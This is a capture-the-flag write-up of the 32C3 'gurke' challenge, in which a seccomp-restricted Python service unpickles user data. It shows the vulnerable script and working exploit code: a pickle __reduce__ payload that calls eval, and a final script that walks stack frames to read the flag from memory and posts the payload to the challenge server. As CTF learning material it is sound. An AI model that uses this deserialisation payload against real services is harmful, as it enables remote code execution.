Remote code execution in a seccomp protected python service requiring manipulating python internals to retrieve the flag in memory.
Challenge Description
Points
300
Description
Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on
http://136.243.194.43/.
Solution
We are given a vulnerable python script here:
#!/usr/bin/env python
import sys
import os
import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape
class Flag(object):
def __init__(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 1234))
self.flag = s.recv(1024).strip()
s.close()
flag = Flag()
from seccomp import *
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
... snip ...
f.add_rule_exactly(ALLOW, "munmap")
f.load()
data = os.read(0, 4096)
try:
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)
os._exit(0)
What this script does is:
- Initialise a variable
flag
over a socket. - Apply seccomp rules to restrict syscalls. This is particularly important to note because we now do not have the option of connecting to the server to grab the flag. Which means we need to get the flag from memory by manipulating any references we can access.
- Read data from the user, unpickle the data, and display the object returned.
Now, pickle is vulnerable to deserialisation attacks so we can immediately execute arbitrary python code. My solution uses eval to execute a string:
import pickle
class Exploit(object):
def __reduce__(self):
return (eval, ("__import__('sys').stdout.write('hello world')",))
pickle.loads(pickle.dumps(Exploit()))
Running the script:
$ python test.py
hello world
Now, after mimicking the environment and playing around in iPython, I realised that you could get the flag by inspecting the traceback frames for their globals. The final exploit script:
import pickle
import inspect
import requests
class Exploit(object):
def __reduce__(self):
return (eval, ("__import__('inspect').currentframe().f_back.f_back.f_back.f_back.f_globals['flag'].flag",))
def main():
payload = pickle.dumps(Exploit())
print requests.post("http://136.243.194.43/", data=payload).text
if __name__ == "__main__":
main()
Running the script:
$ python exploit.py
1: res: '32c3_rooDahPaeR3JaibahYeigoong'
retval: 0
Leave a Comment